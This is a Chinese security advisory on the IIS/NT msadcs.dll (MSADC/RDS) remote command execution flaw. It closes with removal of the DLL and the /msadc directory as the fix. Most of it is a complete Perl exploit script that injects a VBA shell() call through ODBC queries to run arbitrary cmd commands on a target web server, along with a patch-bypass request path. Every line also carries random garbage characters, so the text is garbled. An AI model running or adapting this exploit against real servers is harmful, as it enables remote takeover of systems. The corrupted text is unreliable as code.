IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
M{~e I )h+JX8K)l 涉及程序：
xl# j _d, Microsoft NT server
<U1uu O t _r^&.'q 描述：
}d6g{` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)>TA|W]@ !u7WCw.D m 详细：
{K[+nX =# 如果你没有时间读详细内容的话，就删除:
8d Ftp3( c:\Program Files\Common Files\System\Msadc\msadcs.dll
*qz]vUb/0 有关的安全问题就没有了。
Ln`c DZSM G1|
Tu"
微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&q e:|M l#Qf8*0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
}$$b6G 关于利用ODBC远程漏洞的描述，请参看:
c-M&cU+=L U (J?Q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b~#rUOXb8? hR= 4w$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\[,7# http://www.microsoft.com/security/bulletins/MS99-025faq.asp oiFtPki n`^ </ 0 这里不再论述。
1 ViD S Ef?_d] 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m$@ Cw Qj 9oGsrC lH /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
sM?DNE^BvW 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
2<.}]yi nG8]c9\Q# dF FB\|e;0 #将下面这段保存为txt文件，然后: "perl -x 文件名"
fF *a/\h % @|d|orMC #!perl
9k$uo_i' #
r)7A# 3wId # MSADC/RDS 'usage' (aka exploit) script
WX?|iw
I ~ #
9cj=Cu E # by rain.forest.puppy
2V~Yb1P #
%mxG;w$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]?<uf40Mm # beta test and find errors!
34P? nW( {ifYr(|p` use Socket; use Getopt::Std;
l@Ml8+ getopts("e:vd:h:XR", \%args);
<m )@~s?D V}aXS;(r% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
wz:w R+ JH?[hb if (!defined $args{h} && !defined $args{R}) {
d} WAP m print qq~
>+$1 p_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
u9GQ)`7Z@ -h <host> = host you want to scan (ip or domain)
.@[+05Yw -d <seconds> = delay between calls, default 1 second
y<#y3M!\ -X = dump Index Server path table, if available
7J')o^MG -v = verbose
IHB{US1G -e = external dictionary file for step 5
koAc- o
u}ab[$Q5 Or a -R will resume a command session
j~L{=ojz% 43P?f+IYrk ~; exit;}
YSZz4?9\ xpSMbX{e $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8ALYih7"W if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
sRYFu% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
=o5hD, > e if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
l(<o, Uv[` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
UY|nB hL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`aSz"4Wd Ag?@fuk$J if (!defined $args{R}){ $ret = &has_msadc;
rV1JJ.I die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\hm=AGI0 e`C' 5`d] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Bj\0R mVa1 . "cmd /c ";
%tpt+N ? $in=<STDIN>; chomp $in;
K_}vmB\2l $command="cmd /c " . $in ;
%=_ Iq\lC
,?`$ ~8 if (defined $args{R}) {&load; exit;}
.Cm wR$u& _#-( XQ a print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G> H&M#7K &try_btcustmr;
.@xwl}o$OL B)Gm"bLCOZ print "\nStep 2: Trying to make our own DSN...";
XmX Hs4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
[81k4kU 9]d$G$ Kv9 print "\nStep 3: Trying known DSNs...";
-i 6<kF-W &known_dsn;
WE=`8`Li ZpWG print "\nStep 4: Trying known .mdbs...";
+]I7) &known_mdb;
j@ =n|cq '2# O { if (defined $args{e}){
am@\$Sa4 print "\nStep 5: Trying dictionary of DSN names...";
i12iB+q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
<.= Q=>@:1= print "Sorry Charley...maybe next time?\n";
s%p(_pB exit;
JQ0KXS Nr YK_a37E{F ##############################################################################
LQR9S/?Ld p+yU! Qj sub sendraw { # ripped and modded from whisker
dGHRHX i sleep($delay); # it's a DoS on the server! At least on mine...
Ag}>gbz ~G my ($pstr)=@_;
8) M . W socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^i@t OtS die("Socket problems\n");
C}W/9_I6Uo if(connect(S,pack "SnA4x8",2,80,$target)){
f<y""0 L9 select(S); $|=1;
,qaIdw [ print $pstr; my @in=<S>;
-a/5 select(STDOUT); close(S);
D'A)H return @in;
y" P$:l } else { die("Can't connect...\n"); }}
*4WOmsj L2Mcs ##############################################################################
Xhi9\wteYw ( R Ttz sub make_header { # make the HTTP request
{n |Ra[9_ my $msadc=<<EOT
^oPf>\),C POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~|fd=E% User-Agent: ACTIVEDATA
g.&&=T Host: $ip
0M:.Jhp Content-Length: $clen
jh}[7M Connection: Keep-Alive
'w!Hjq]$ O/0m|~`iY ADCClientVersion:01.06
g$$uf[A-SL Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4Mnne'7 VNA VdP --!ADM!ROX!YOUR!WORLD!
1C'lT,twl Content-Type: application/x-varg
hPhN7E03 Content-Length: $reqlen
7GE.>h5 a^~l[HSF EOT
,mjwQ6:Ny ; $msadc=~s/\n/\r\n/g;
"r.pU(uxt return $msadc;}
xS*f{5Hr8 Ugrcy7 ##############################################################################
FFP>Y*v( z <s]Z sub make_req { # make the RDS request
pbju;h)O!| my ($switch, $p1, $p2)=@_;
J/ <[i rC my $req=""; my $t1, $t2, $query, $dsn;
E!jM&\Z j ?][Mv`ST if ($switch==1){ # this is the btcustmr.mdb query
|A}E/=HPU $query="Select * from Customers where City=" . make_shell();
`O0v2?/f0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
vek9. 4! ] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.:$%3#N$(Y }1 Q]C"hY elsif ($switch==2){ # this is general make table query
O@??
NF6G $query="create table AZZ (B int, C varchar(10))";
l[rIjyL@ $dsn="$p1";}
P , 5P6Y9 jC <<S elsif ($switch==3){ # this is general exploit table query
4l>/6LNMF $query="select * from AZZ where C=" . make_shell();
rzEE | $dsn="$p1";}
t$R| lv5< wnha c} elsif ($switch==4){ # attempt to hork file info from index server
w^z}!/"]u $query="select path from scope()";
>/}v8 k 1v $dsn="Provider=MSIDXS;";}
b pExYyt ADlPdkmym elsif ($switch==5){ # bad query
n1 6, u$| $query="select";
(g4.bbEm $dsn="$p1";}
D.U)R7( +'Tr>2V $t1= make_unicode($query);
JdFMSmZ@ $t2= make_unicode($dsn);
9LzQp`In $req = "\x02\x00\x03\x00";
l hJT& $req.= "\x08\x00" . pack ("S1", length($t1));
c,4UnEoCR $req.= "\x00\x00" . $t1 ;
EC&w9:R $req.= "\x08\x00" . pack ("S1", length($t2));
ysDfp'C, $req.= "\x00\x00" . $t2 ;
|cUlXg= $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
qdNYY&6>?u return $req;}
'Pr(7^ C6:<.`iD87 ##############################################################################
!x|OgvJ h7kGs^pP sub make_shell { # this makes the shell() statement
9`QWq u[ return "'|shell(\"$command\")|'";}
V5% B ,.d: H2 |& ##############################################################################
t&H) :P e{c%o; m( sub make_unicode { # quick little function to convert to unicode
jK 3% \`o my ($in)=@_; my $out;
ZrXvR`bsw for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
B k#68p return $out;}
}(O
7tC :Y ~fPke ##############################################################################
Y(W>([59 RY&Wvkjh sub rdo_success { # checks for RDO return success (this is kludge)
;' YM@n my (@in) = @_; my $base=content_start(@in);
1k3wBc 5< if($in[$base]=~/multipart\/mixed/){
* t{A=Wk return 1 if( $in[$base+10]=~/^\x09\x00/ );}
TV0(uMZ0+' return 0;}
E(>RmPP=7 8cF-kfbfZ ##############################################################################
tDF6%RG ``$At ,m sub make_dsn { # this makes a DSN for us
{pE")O7~P my @drives=("c","d","e","f");
=H3 JRRS print "\nMaking DSN: ";
c_ v j't foreach $drive (@drives) {
N:\I]M print "$drive: ";
D />REC^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
K zKHC "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(]vHW+' . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
KP -g<Zc $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4(|x@: wxm return 0 if $2 eq "404"; # not found/doesn't exist
=-1d m+P if($2 eq "200") {
p!|ok #s W foreach $line (@results) {
(,[m}Qb?! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
d&P XJ
} return 0;}
Cd"O'<^Sb Iy6 "2$%a ##############################################################################
OjJKloy' #rF| X6P sub verify_exists {
G! L=W#{ my ($page)=@_;
#/MUiV my @results=sendraw("GET $page HTTP/1.0\n\n");
p4bQCI return $results[0];}
&5)Kg%r bJmVq%>; ##############################################################################
w}K<,5I> 0^?(;AK sub try_btcustmr {
:p%nQF,*f my @drives=("c","d","e","f");
n!~{4
uUW my @dirs=("winnt","winnt35","winnt351","win","windows");
9 k)?- oslV@v
F foreach $dir (@dirs) {
IM7k\ print "$dir -> "; # fun status so you can see progress
0bzD-K4WVd foreach $drive (@drives) {
6Z\[{S]; print "$drive: "; # ditto
,A h QA $reqlen=length( make_req(1,$drive,$dir) ) - 28;
K%1'zSAyK $reqlenlen=length( "$reqlen" );
2_
< $clen= 206 + $reqlenlen + $reqlen;
)PVX)2P_C 593D/^}D my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`7LN?-
T if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4?jXbC k~x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{~.h;'m ?9i
7 w1` ##############################################################################
sX^m1v~N| M%/ML=eLi sub odbc_error {
/<\>j+SC my (@in)=@_; my $base;
v 1 d] my $base = content_start(@in);
%1 9TJn%J$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
O|O #T.Tg $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j$4Tot $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r2]:'O6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vbXuT$ return $in[$base+4].$in[$base+5].$in[$base+6];}
#E3Y;
b%v print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
(B.J8`h } print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
vA10'Gx ' $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
S6*3."Sk W 1w)SS ##############################################################################
24}r;=U gxycw4kz sub verbose {
5#!pwjt~7 my ($in)=@_;
!E'jd72O return if !$verbose;
>}\!'3)_ print STDOUT "\n$in\n";}
5Y"JR WC xwW[6Ah ##############################################################################
#6[ FGM H^Ik FEVs sub save {
=m xmJFA my ($p1, $p2, $p3, $p4)=@_;
P#Z$+&)b)s open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lBvQ?CJ<y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Jk!}z+X'A close OUT;}
sF :3|Yy0 <VS\z(K ##############################################################################
U{"&Jj QHUoAa`6v sub load {
vZ\~+qV,A my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jFZJ #'CNS open(IN,"<rds.save") || die("Couldn't open rds.save\n");
3l0x~ @p=<IN>; close(IN);
3+;]dqZ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
v<,? %(g)7 $target= inet_aton($ip) || die("inet_aton problems");
qY]IX9'kV print "Resuming to $ip ...";
CL5u{ i5 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
cfyN)#9 if($p[1]==1) {
iEux`CcJ. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=5a~xlBjD $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
L&+XFntR my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
d}GO( if (rdo_success(@results)){print "Success!\n";}
'=Ea Z>= else { print "failed\n"; verbose(odbc_error(@results));}}
H 1N_ elsif ($p[1]==3){
Edj}\e*-J if(run_query("$p[3]")){
s(q\!\FS print "Success!\n";} else { print "failed\n"; }}
V/j+Z1ZW elsif ($p[1]==4){
<v&>&;>3 if(run_query($drvst . "$p[3]")){
R;,+0r^i print "Success!\n"; } else { print "failed\n"; }}
7rw}q~CE5 exit;}
7Co
}4 lwIU|T<4 ##############################################################################
6 :K~w<mMJ %,g6:Zc@ sub create_table {
D0/ \ my ($in)=@_;
NYz{ [LM $reqlen=length( make_req(2,$in,"") ) - 28;
e*;-vS9H $reqlenlen=length( "$reqlen" );
i9[=x(-@ $clen= 206 + $reqlenlen + $reqlen;
:(VD<"X my @results=sendraw(make_header() . make_req(2,$in,""));
Sp: `Z1kH return 1 if rdo_success(@results);
h`F8GNx( my $temp= odbc_error(@results); verbose($temp);
Gdq _T* return 1 if $temp=~/Table 'AZZ' already exists/;
f7mP4[+dS return 0;}
"15mOW(!+ qP-* ##############################################################################
;?"2sS!AHQ K]yCt~A$ sub known_dsn {
J~9l+? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
H.qp~-n my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
m7Nm!Z7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]e@'9`G-' "banner", "banners", "ads", "ADCDemo", "ADCTest");
P(8zJk6h), %,Xs[[?i foreach $dSn (@dsns) {
N%'=el4L print ".";
OWT5Bjl next if (!is_access("DSN=$dSn"));
3#}5dO if(create_table("DSN=$dSn")){
' \Z54$ print "$dSn successful\n";
cd)yj&:?Bt if(run_query("DSN=$dSn")){
:jKD M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
by,"Orpwq; print "Something's borked. Use verbose next time\n";}}} print "\n";}
23 BzD^2a k)o D ##############################################################################
hVo]fD| W %?1k}(qUeY sub is_access {
02q]^3 my ($in)=@_;
rwGY )9 | $reqlen=length( make_req(5,$in,"") ) - 28;
73OFFKbsk $reqlenlen=length( "$reqlen" );
y((I2g1rv $clen= 206 + $reqlenlen + $reqlen;
Rm`_0}5 my @results=sendraw(make_header() . make_req(5,$in,""));
v@TP_Ka my $temp= odbc_error(@results);
y[BUWas( verbose($temp); return 1 if ($temp=~/Microsoft Access/);
a^t #kdT return 0;}
ZgVYC4=Q-\ %:yJ/&-Q,Z ##############################################################################
ZNNgi@6> N
'2N v sub run_query {
}D j W my ($in)=@_;
422d4Zu $reqlen=length( make_req(3,$in,"") ) - 28;
C KeT%3 $reqlenlen=length( "$reqlen" );
'+LC.l M $clen= 206 + $reqlenlen + $reqlen;
tYK
5?d my @results=sendraw(make_header() . make_req(3,$in,""));
ZG+8kt!w return 1 if rdo_success(@results);
}t#uSz^ my $temp= odbc_error(@results); verbose($temp);
E8j >Toz return 0;}
{{w5F2b((% me"}1REa ##############################################################################
%/N B263Db NPF"_[RoeV sub known_mdb {
PMC5qQ%x my @drives=("c","d","e","f","g");
YYwFjA@ my @dirs=("winnt","winnt35","winnt351","win","windows");
Ugzq;}V# my $dir, $drive, $mdb;
8`l bKV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:1NF#-2\f (+lw t # this is sparse, because I don't know of many
~fbFA?g3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
^u`1W^> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
*f{\ze@5= "\\system32\\certmdb.mdb",
4/e|N#1`;[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
YMx]i,u'+ f-&4x_5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
VgLrufJ "\\cfusion\\cfapps\\forums\\forums_.mdb",
w6(E$:#d "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
C)66 ^l!x "\\cfusion\\cfapps\\security\\realm_.mdb",
E0 ]B=- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Y3^UJe7E "\\cfusion\\database\\cfexamples.mdb",
IGqg,OEAp "\\cfusion\\database\\cfsnippets.mdb",
L ldZ"%P "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_3v6 c "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*\><MXx "\\cfusion\\brighttiger\\database\\cleam.mdb",
8i"v7} "\\cfusion\\database\\smpolicy.mdb",
_dCdyf "\\cfusion\\database\cypress.mdb",
;G_{$)P.o "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
CR3<9=Lv> "\\website\\cgi-win\\dbsample.mdb",
YQGVQ[P "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
OOJg%y*H "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
BnJpC<xm ); #these are just
r/o1a't; foreach $drive (@drives) {
uL| Wuq foreach $dir (@dirs){
"@uKe8r|y foreach $mdb (@sysmdbs) {
&-M>@BMy print ".";
Bc { j0Su if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s I>I print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
r$<-2lW if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
KCEB J{jM print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
s?r:McF` } else { print "Something's borked. Use verbose next time\n"; }}}}}
6Q\0 v 9n\:grW foreach $drive (@drives) {
p,# t[K foreach $mdb (@mdbs) {
ypyqf55gK print ".";
3[`/rg, if(create_table($drv . $drive . $dir . $mdb)){
Yl}'h Rp print "\n" . $drive . $dir . $mdb . " successful\n";
+Z OjbI) if(run_query($drv . $drive . $dir . $mdb)){
tbMf_-g print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5qZebD2a } else { print "Something's borked. Use verbose next time\n"; }}}}
zl8O @g }
lsJl+%&8 2Iv&XxSo ##############################################################################
vKrOIBP K[{hh;7 sub hork_idx {
3azyqpwU$ print "\nAttempting to dump Index Server tables...\n";
|qe[`x;
% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
G':wJ 7[]` $reqlen=length( make_req(4,"","") ) - 28;
Q> OBK&' $reqlenlen=length( "$reqlen" );
y~eQVnH5W $clen= 206 + $reqlenlen + $reqlen;
&!Sq6<!v2 my @results=sendraw2(make_header() . make_req(4,"",""));
W&MZ5t ,k= if (rdo_success(@results)){
J)7m::%I my $max=@results; my $c; my %d;
rLP:kP'b for($c=19; $c<$max; $c++){
WTW ONO> $results[$c]=~s/\x00//g;
b 2rlj6d $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-lICoRO# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Fl8 *dXG& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
I?y!d
G $d{"$1$2"}="";}
H{ yUKZH* foreach $c (keys %d){ print "$c\n"; }
Y
1v9sMN, } else {print "Index server doesn't seem to be installed.\n"; }}
jd>ug=~x oW[];r ##############################################################################
XR2Gw 4] p ~LTu<*S sub dsn_dict {
~O|g~H5; open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*GUQz while(<IN>){
jTSN`R9@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(tG8HwV- next if (!is_access("DSN=$dSn"));
~bC-0^/
8| if(create_table("DSN=$dSn")){
LsW7JIQd print "$dSn successful\n";
M{(g"ha if(run_query("DSN=$dSn")){
]Q8[,HTG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(}! xO?NA( print "Something's borked. Use verbose next time\n";}}}
Mk=M)d` print "\n"; close(IN);}
r1pj-
{S l#z }@s ##############################################################################
,Q%q!#@
ML:Zm~A1U sub sendraw2 { # ripped and modded from whisker
$G UCVxs sleep($delay); # it's a DoS on the server! At least on mine...
+)J;4B my ($pstr)=@_;
19#s:nt9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1:Sq?=& die("Socket problems\n");
nr*nX if(connect(S,pack "SnA4x8",2,80,$target)){
yzH(\ x print "Connected. Getting data";
EU5^"\ open(OUT,">raw.out"); my @in;
4fR}+[~2 select(S); $|=1; print $pstr;
d2~*fHx_ ! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=qWcw7!" close(OUT); select(STDOUT); close(S); return @in;
o54/r#~fi } else { die("Can't connect...\n"); }}
Ye e%
<<S )c6t`SBwi ##############################################################################
@XJzM]*w& 0pfgE= 9 sub content_start { # this will take in the server headers
z*oe ho my (@in)=@_; my $c;
? R!?}7 for ($c=1;$c<500;$c++) {
,`Yx(4 !rR if($in[$c] =~/^\x0d\x0a/){
o&U'zaj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
)G+D6s23 else { return $c+1; }}}
dQ.:xu}~ return -1;} # it should never get here actually
_n~[wb5 J %tK^&rw% ##############################################################################
`T#Jiq E 7M.TLV!f] sub funky {
t>KvR!+`g my (@in)=@_; my $error=odbc_error(@in);
)(/Bw&$ if($error=~/ADO could not find the specified provider/){
Ia@!Nr2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
UM(`Oh8 exit;}
G~ONHXL if($error=~/A Handler is required/){
GEs5@EH print "\nServer has custom handler filters (they most likely are patched)\n";
?S8_x]E exit;}
5 $PDA*]9 if($error=~/specified Handler has denied Access/){
{9c_T!c print "\nServer has custom handler filters (they most likely are patched)\n";
j tH> &O exit;}}
N{}o* K = JW.1 ;
##############################################################################
E*"-U!?)l2 cVY PPal sub has_msadc {
QAx R'.d my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
J/k4CV*li( my $base=content_start(@results);
'=V1'I*
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
LlF|VR&P. return 0;}
t &>eZ" _xz>O [unf ########################
`Q1;Y %E\ pd@ d xa[9>V 解决方案：
-s_=4U, 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
zcE` .)y 2、移除web 目录: /msadc
